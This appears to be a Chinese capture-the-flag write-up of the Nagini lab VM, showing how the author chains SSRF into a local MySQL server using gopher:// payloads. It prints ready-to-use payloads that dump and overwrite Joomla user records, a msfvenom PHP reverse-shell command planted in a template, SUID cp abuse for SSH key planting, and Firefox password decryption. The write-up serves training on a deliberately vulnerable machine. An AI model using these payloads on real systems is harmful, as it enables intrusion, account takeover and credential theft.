前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过靶机学习SSRF

通过靶机学习SSRF

作者头像
Al1ex
发布2024-03-12 14:17:03
1430
发布2024-03-12 14:17:03
举报
文章被收录于专栏:网络安全攻防网络安全攻防
靶机介绍

Nagini is the 2nd VM of 3-box HarryPotter VM series in which you need to find 3 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

靶机渗透
信息收集

同一网段的目标主机IP地址发现,确定目标主机IP地址为192.168.204.137

代码语言:javascript
复制
arp-scan -l

对目标主机上运行的服务和开启的端口进行探测

代码语言:javascript
复制
nmap -sS -sV -A -n -p- 192.168.204.137

从上面的扫描结果可以看到目标靶机开启了22、80端口,随后我们直接访问80端口对应的web服务

从上面可以看到的是除了一张图片外就没啥了吗,所以我们这里采用扫描目录,对目录进行探测

代码语言:javascript
复制
python3 dirsearch.py -u http://192.168.204.137

从上面的结果中发现Joomla服务,直接访问

后台登录路径:

随后直接使用joomscan扫描

从扫描结果中发现一个备份文件,其中包含数据库的连接账户信息,由于没有密码我们还得继续收集更多有用的信息:

gobuster目录扫描探测如下:

代码语言:javascript
复制
gobuster dir -u http://192.168.204.137 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

访问note.txt发现以下提示信息:

翻译之后的中文内容如下所示:

根据上面的提示说明我们这里需要更改以下host的配置,增加一条解析

随后正常解析

此时访问还是我们之前的那个地址:

协议搭建
代码语言:javascript
复制
#安装rust
curl https://sh.rustup.rs -sSf | sh
代码语言:javascript
复制
#下载客户端 
git clone --recursive https://github.com/cloudflare/quiche
代码语言:javascript
复制
#安装cargo 
sudo apt install cargo
代码语言:javascript
复制
#安装cmake组件
sudo apt install cmake

进入quiche目录,然后依次执行

代码语言:javascript
复制
cargo build --examples
代码语言:javascript
复制
cargo test

环境搭建好后进入quiche/target/debug/examples目录,然后利用http3进行访问:

代码语言:javascript
复制
./http3-client http://quic.nagini.hogwarts/

可惜就是不行,这里给一个别人成功访问到的截图

这里有一个/internalResourceFeTcher.php,我们直接访问之,这里提示该网页是一个用于内部网路资源请求的页面

由于是网络资源的获取所以使用url资源请求格式尝试进行访问

代码语言:javascript
复制
http://127.0.0.1
代码语言:javascript
复制
file:///etc/passwd
请求伪造

结合前面的扫描我们不难发现Joomla是可以管理数据库的,只是比较奇怪的是nmap并没有扫描出来3306端口,也许可能是靶机对其访问IP做了防护,导致只能以127.0.0.1连接,随后我们结合Gopher协议对本地的MySQL数据库发起攻击测试(之前我们已经有了mysql的连接账户和密码),在此之前我们要用一下Gopherus工具

生成用于攻击MySQL的攻击载荷,这里我们的数据库名称为goblin,我们要执行的命令是使用joomla数据库并查看表名信息

代码语言:javascript
复制
Gopherus --exploit mysql

随后测试载荷:

代码语言:javascript
复制
gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%20%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01

随后查看源代码发现joomla_users这个表名

随后我们用同样方法构建payload其中mysql的查询语句为:

代码语言:javascript
复制
use joomla;select * from joomla_users;

访问下面的连接

代码语言:javascript
复制
gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%27%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%3b%01%00%00%00%01

通过查看源代码以及结合def(用于定义表的列)定义每个列的含义和获取的查询数据可以得到这样一个数据:

  • 用户:site_admin
  • 邮箱:site_admin@nagini.hogwarts
  • 密码:2y10

如果我们直接破解这个密文不仅时间长,而且还有可能破不出来,既然通过gopher可以直接操作数据库,那么我们便可以直接覆盖这个site_admin密码,由于mysql支持md5加密,所以我们先生成一个md5的加密密码

代码语言:javascript
复制
echo -n "123456" | md5sum

随后我们直接构建如下payload

代码语言:javascript
复制
use joomla; update joomla_users SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='site_admin';

随后我们直接访问下面的连接

代码语言:javascript
复制
gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6d%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%20%75%70%64%61%74%65%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%20%53%45%54%20%70%61%73%73%77%6f%72%64%3d%27%65%31%30%61%64%63%33%39%34%39%62%61%35%39%61%62%62%65%35%36%65%30%35%37%66%32%30%66%38%38%33%65%27%20%57%48%45%52%45%20%75%73%65%72%6e%61%6d%65%3d%27%73%69%74%65%5f%61%64%6d%69%6e%27%3b%01%00%00%00%01

从上面的回显结果可以看到这里成功更新了一条记录,说明我们的密码已经成功更改,随后我们就可以使用site_admin/123456直接登录Joomla后台了

在获取到Joomla的后台操作权限后我们可以通过在后台修改主题文件的方式来获取shell权限,这里我们随意选择一个主题

选择查看模板文件的详细信息

选择error.php文件

然后使用msfvenom来生成要给php后门文件

代码语言:javascript
复制
#PHP后门文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

然后使用我们之前在msfvenom中生成的webshell文件内容替换上面error.php文件内容

保存后访问Beez3主题下的error.php文件便可成功的突破边界

代码语言:javascript
复制
http://192.168.204.137/joomla/templates/beez3/error.php

随后在我们的MSF中获取到一个会话

信息收集

获取到目标系统的边界服务器后,在进行信息收集阶段发现位于www目录下的html文件夹中存在一个horcrux1.txt文件,其中包含了我们的第一个flag

随后我们在home目录下发现两个用户hermoine, snape这两个用户(赫敏,斯内普教授),其中有一个.creds.txt,根据文件名称意为凭据信息,查看后发现一下内容

根据字符串特征不难发现为base64编码,随后我们直接进行base64解码得到一下内容:

随后使用"snape:Love@lilly"的SSH登陆,完成账号跳转

权限提升

从上面我们可以看到目前的用户权限为普通用户的权限,所以我们这里需要进行一次权限提示操作,我们可以通过以下命令来查看系统上运行的所有SUID可执行文件,更具体点来说,以下命令将尝试查找具有root权限的SUID的文件:

随后我们查看一下su_cp命令的具体参数,可以看到这里的su_cp其实就是一个被赋予了sudo权限的cp命令

结合hermoine.ssh目录,我们可以尝试利用su_cp命令将公钥传输到hermoine的.ssh目录中,从而实现SSH的公钥登陆

代码语言:javascript
复制
ssh-keygen   //al1ex
代码语言:javascript
复制
scp ./id_rsa.pub snape@192.168.204.137:~/

随后我们使用su_cp将authorized_keys拷贝到hermoine的.ssh文件中

最后用公钥成功以hermoine的身份登陆到靶机并查看第二个flag

密码还原

从上面我们可以看到在hermoine的目录下存在.mozilla文件夹,改文件夹是存放浏览器的信息的文件夹下面存在firefox浏览器,通过工具去查看浏览器的账户密码

将.mozilla文件夹copy到本地的tmp目录

代码语言:javascript
复制
scp -rp hermoine@192.168.204.137:/home/hermoine/.mozilla /tmp

随后使用工具还原浏览器密码:

https://github.com/unode/firefox_decrypt

随后进行解密操作

代码语言:javascript
复制
python3 firefox_decrypt.py /tmp/.mozilla/firefox

使用获取的用户名密码也可以实现提权操作并获取到三个Flag

文末小结

本篇文章主要介绍了对Nagini靶机的渗透测试,期间涉及前期信息收集、Joomla模板文件getShell的技巧、SSRFf漏洞利用、SSH公钥登录的方法、浏览器文件解密的方法等知识点~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-03-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 靶机介绍
  • 靶机渗透
    • 信息收集
      • 协议搭建
        • 请求伪造
          • 信息收集
            • 权限提升
              • 密码还原
              • 文末小结
              相关产品与服务
              数据库
              云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档